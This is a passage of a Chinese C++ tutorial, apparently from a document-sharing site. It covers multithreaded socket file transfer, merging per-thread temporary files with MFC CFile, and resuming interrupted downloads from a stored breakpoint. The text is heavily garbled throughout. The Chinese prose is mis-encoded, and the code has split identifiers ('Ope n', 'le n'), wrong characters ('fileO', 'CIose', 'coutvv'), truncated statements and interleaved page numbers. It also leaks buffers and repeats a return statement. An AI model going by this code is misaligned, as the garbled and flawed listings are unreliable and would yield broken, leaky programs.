57、ft>0) { int ret=recv(client,&date[idx],nLeft,0); if(ret==SOCKET_ERROR) { cout<<"Recv Date Error"; break; } idx+=ret; nLeft-=ret; } file.Write(date,FileLen); file.Close(); delete[] date; }else { cout<<"Create File Error/n"; } return 0; } 在此線程函數(shù)中,將每線程傳輸?shù)臄?shù)據(jù)存為一個(gè)文件,文件名為"TempName"線程 數(shù),

58、 只所以存成單獨(dú)的文件是 因?yàn)楸容^直觀且容易理解 , 但如果文件很大的話這個(gè)方法并不好 , 因?yàn)楹喜⑽募?又會(huì)花費(fèi)很多時(shí)間 , 另一個(gè)方法 是 創(chuàng)始一個(gè)文件 , 讓每個(gè)線程寫(xiě)入文件的不同偏移 , 這樣就可以不必單獨(dú)合并文 件了 , 但要記得打開(kāi)文件時(shí) 加入 CFile::shareDenyNone 屬性. 這樣整個(gè)過(guò)程就完成了 .最后一步合并線程文 件 5. 合并線程文件 代碼: int UniteFile() // 合并線程文件 { cout<<"Now is Unite Fileing.../n"; int len; char *date; CFile file;

59、CFile file0; /* 其它文件 */ if(file.Ope n(FileName,CFile::modeCreate|CFile::typeBi nary|CFi le::modeWrite))〃 創(chuàng)建文件 { fileO.Ope n("TempFileO",CFile::modeRead|CFile::typeB in ary);//合并第一線程文件 len=fileO.GetLe ngth(); date=new char[le n]; fileO.Read(date,le n); file.SeekToE nd(); file.Write(date,le

60、n); file1.Ope n("TempFile1",CFile::modeRead|CFile::typeB in ary);//合并第二線程文件 len=file1.GetLe ngth(); date=new char[le n]; file1.Read(date,le n); file.SeekToE nd(); file.Write(date,le n); /* 合并其它線程……*/ fileO.CIose(); file1.Close(); delete[] date; return true; }else { return false; } }

61、 這個(gè)簡(jiǎn)單,就是打開(kāi)一個(gè)文件讀取到緩沖區(qū),寫(xiě)入文件,再打開(kāi)第二個(gè)…… 現(xiàn)在 多線程傳輸部分就介紹完了 下面討論斷斷點(diǎn)續(xù)傳的實(shí)現(xiàn) C++實(shí)現(xiàn)文件傳輸之四:斷點(diǎn)傳輸 所謂的斷點(diǎn)續(xù)傳就是指:文件在傳輸過(guò)程式中被中斷后,在重新傳輸時(shí),可以從上 次的斷點(diǎn)處開(kāi)始傳輸,這樣就可節(jié)省時(shí)間,和其它資源. 實(shí)現(xiàn)關(guān)鍵在這里有兩個(gè)關(guān)鍵點(diǎn),其一是檢測(cè)本地已經(jīng)下載的文件長(zhǎng)度和斷點(diǎn)值 , 其二是在服務(wù)端調(diào)整文件指針到斷點(diǎn)處 實(shí)現(xiàn)方法 我們用一個(gè)簡(jiǎn)單的方法來(lái)實(shí)現(xiàn)斷點(diǎn)續(xù)傳的功能.在傳輸文件的時(shí)候創(chuàng)建一個(gè)臨時(shí) 文件用來(lái)存放文件的斷點(diǎn)位置 在每次發(fā)送接受文件時(shí) ,先檢查有沒(méi)有臨時(shí)文件 , 如果有的話就從臨時(shí)文件

62、中讀 取斷點(diǎn)值 , 并把文件指針移動(dòng)到 斷點(diǎn)位置開(kāi)始傳輸 , 這樣便可以做到斷點(diǎn)續(xù)傳了 實(shí)現(xiàn)流程 首次傳輸其流程如下 1. 服務(wù)端向客戶端傳遞文件名稱和文件長(zhǎng)度 2. 跟據(jù)文件長(zhǎng)度計(jì)算文件塊數(shù) (文件分塊傳輸請(qǐng)參照第二篇文章 ) 3. 客戶端將傳輸?shù)膲K數(shù)寫(xiě)入臨時(shí)文件 (做為斷點(diǎn)值 ) 4. 若文件傳輸成功則刪除臨時(shí)文件 首次傳輸失敗后將按以下流程進(jìn)行 1. 客戶端從臨時(shí)文件讀取斷點(diǎn)值并發(fā)送給服務(wù)端 2. 服務(wù)端與客戶端將文件指針移至斷點(diǎn)處 3. 從斷點(diǎn)處傳輸文件 編碼實(shí)現(xiàn) 因?yàn)槌绦虼a并不復(fù)雜 , 且注釋也比較詳細(xì) ,這里就給出完整的實(shí)現(xiàn) 其服務(wù)端實(shí)現(xiàn)代碼如下

63、代碼: int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { coutvv"/t/t 服務(wù)端-斷點(diǎn)續(xù)傳"vv"/t作者:冷風(fēng)/n/n"vv"請(qǐng)輸入被下 載的文件路徑 如 C://File.rar /n/n"<<" 文件路徑 : "; cin >>FilePath; /* 這部分為網(wǎng)絡(luò)參數(shù)與設(shè)置 , 詳細(xì)請(qǐng)參照源代碼 */ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len)) { cout<<"have one connect/n";

64、int nCurrentPos=0;// 接受斷點(diǎn)值 if(recv(client,(char*)&nCurrentPos,sizeof(nCu rrentPos),0)==SOCKET_ERROR) { cout<<"The Clinet Socket is Closed/n"; break; }else { cout<<"The Currentpos is The"<

65、; WSACleanup(); return 0; return 0; } DWORD GetFileProc (int nCurrentPos,SOCKET client) { cout <<"Get File Proc is ok/n"; CFile file; int nChunkCount=0; // 文件塊數(shù) if(file.Open(FilePath,CFile::modeRead|CFile::typeBinary)) { if(nCurrentPos!=0) { file.Seek(nCurrentPos*CHUNK_SIZE,CFile::begin

66、); // 文件指針移至斷點(diǎn)處 cout<<"file seek is "<

展開(kāi)閱讀全文
溫馨提示:
1: 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

相關(guān)資源

更多
正為您匹配相似的精品文檔
關(guān)于我們 - 網(wǎng)站聲明 - 網(wǎng)站地圖 - 資源地圖 - 友情鏈接 - 網(wǎng)站客服 - 聯(lián)系我們

copyright@ 2023-2025  zhuangpeitu.com 裝配圖網(wǎng)版權(quán)所有   聯(lián)系電話:18123376007

備案號(hào):ICP2024067431號(hào)-1 川公網(wǎng)安備51140202000466號(hào)


本站為文檔C2C交易模式,即用戶上傳的文檔直接被用戶下載,本站只是中間服務(wù)平臺(tái),本站所有文檔下載所得的收益歸上傳人(含作者)所有。裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)上載內(nèi)容本身不做任何修改或編輯。若文檔所含內(nèi)容侵犯了您的版權(quán)或隱私,請(qǐng)立即通知裝配圖網(wǎng),我們立即給予刪除!